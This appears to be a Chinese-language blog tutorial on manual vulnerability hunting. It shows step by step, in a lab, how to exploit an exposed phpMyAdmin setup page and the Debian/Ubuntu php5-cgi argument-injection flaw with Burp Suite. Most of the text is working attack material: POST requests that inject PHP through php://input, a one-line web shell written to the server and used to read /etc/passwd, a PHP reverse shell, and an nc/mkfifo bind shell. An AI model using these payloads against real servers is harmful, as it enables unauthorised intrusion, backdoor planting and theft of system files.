• 手动漏洞挖掘(一)


    早期phpMyAdmin服务器的一个漏洞

    php服务器默认安装如果setup不禁用掉的话,可以不通过登陆账号直接进入到里面进行配置

    http://192.168.133.132/phpMyAdmin/setup/

     通过post方法,修改PHP主配置文件,就可以执行命令行对服务器进行操作,php语言中passthru函数可以执行操作系统的指令

    http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 通过phpMyAdmin修改.ini主配置文件

    POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

    Host: 192.168.20.10

    Content-Length: 34



    <?php

    passthru('ls');

    die();

    ?>

    打开burpsuite,在repeater中执行以上的代码,Go

    就可以在右侧返回的信息中看到执行的结果

    只要在passthru()方法中添加想要执行的命令

    甚至可以写文件,这样我们就可以在目标服务器中提交木马等操作了。

    一枚简单的木马

    利用的是位于phpMyAdmin/setup下的漏洞

    POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

    Host: 192.168.20.10

    Content-Length: 100



    <?php

    passthru('echo "<?php $cmd = $_GET["cmd"];system($cmd);?>" > /var/www/2.php');

    die();

    ?>

    打开burpsuite,在repeater中执行以上的代码,Go

    passthru('cat /var/www/2.php');

    查看刚才写的文件,返回发现写成功了

    打开l浏览器输入

    http://192.168.133.132/2.php?cmd=id

    http://192.168.133.132/2.php?cmd=pwd

    http://192.168.133.132/2.php?cmd=ls

    http://192.168.133.132/2.php?cmd=cat /etc/passwd

    你会发现这样操作非常像在shell中执行,只要在变量"?cmd="后面添加命令即可

    php反弹shell

    它在kali的位置

    /usr/share/webshells/php/php-reverse-shell.php

    修改一下,把IP换成本机的IP地址

    然后将所有内容复制下来复制到在burpsuite的body中

    先不发送请求,打开一个终端输入 nc -nvvlp 1234 侦听这个端口号,再发送请求

    于是就建立了连接,就可以在终端上操作php的服务器了,和在自己终端上操作差不多

    有时候会发现有些命令执行不了,比如ifconfig,这是因为现在的用户权限下,有些命令的环境变量没有设置好,我们可以查找到这个命令的位置,然后执行它

    cd /sbin 

    ./ifconfg

    就能执行了

    又一枚木马

    这个利用ubuntu/debian默认安装的php5-cgi的漏洞

    可直接访问/cgi-bin/php5和/cgi-bin/php ,这两个目录位于操作系统的根目录下,而不是在web的根目录下,它们不会在网页页面上显示,所以这些目录用扫描工具是爬网爬不出来的,但是他们是可以被访问的。

    打开burpsuite,输入

    POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

    Host: 123

    Content-Length: 50



    <?php

    echo system('cat /etc/passwd');

    die();

    ?>
    注:%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
    这一串是经过编码之后的内容,对它解码会发现是这些内容,为为什么要这样编码呢?是因为php服务器进行了一些过滤机制,如果用明文还执行不成功。

    一定要有host,后面的内容可以随便填
    Host: 123

    go

    在服务器上打开一个侦听端口

    echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 444| > /tmp/pipe');

    php服务器开启一个端口等待连接

    然后打开一个终端用nc连接,就拿到shell了

  • 相关阅读:
    JavaScript window对象属性和方法
    bzoj1878 [SDOI2009]HH的项链
    bzoj3289 Mato的文件管理
    bzoj2038 [2009国家集训队]小Z的袜子(hose)
    bzoj2333 [SCOI2011]棘手的操作
    bzoj2809 [Apio2012]dispatching
    hdu1512 Monkey King
    免费航班
    bzoj4538 [Hnoi2016]网络
    bzoj3207 花神的嘲讽计划Ⅰ
  • 原文地址:https://www.cnblogs.com/zylq-blog/p/6709344.html
Copyright © 2020-2023  润新知